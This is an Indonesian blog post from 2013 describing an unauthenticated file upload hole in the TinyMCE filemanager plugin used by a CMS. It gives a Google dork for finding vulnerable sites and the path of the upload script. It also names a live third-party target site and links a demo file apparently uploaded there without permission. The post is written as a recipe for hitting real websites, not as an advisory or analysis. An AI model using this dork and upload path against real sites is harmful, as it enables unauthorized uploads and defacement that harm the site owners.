CMS Webconstructor File Upload Vulnerability

Posted by : Sevul Bloglist Monday, 16 September 2013

ane tdi lgi iseng-iseng'an googling eh ketemu cara ini ya dahg deh ane coba.
langsung aja biar ga penasaran kita ke TKP

Dork: inurl:/tiny_mce/plugins/filemanager
Exploit: http://localhost/PATH/tiny_mce/plugins/filemanager/InsertFile/insert_file.php
Diizinkan Berkas: html ,pdf ,ppt ,txt ,doc ,jpg, etc except php, php4, asp
Live Target: http://rofel.pl/tiny_mce/plugins/filemanager/InsertFile/insert_file.php
Demo: http://rofel.pl/upload/crots.html

NB:
Cara ini tidak bisa Mengubah indexnya OKey :D

Semoga Bermanfaat ^_^
#Jangan Lupa, Tinggalkan Komentarnya :D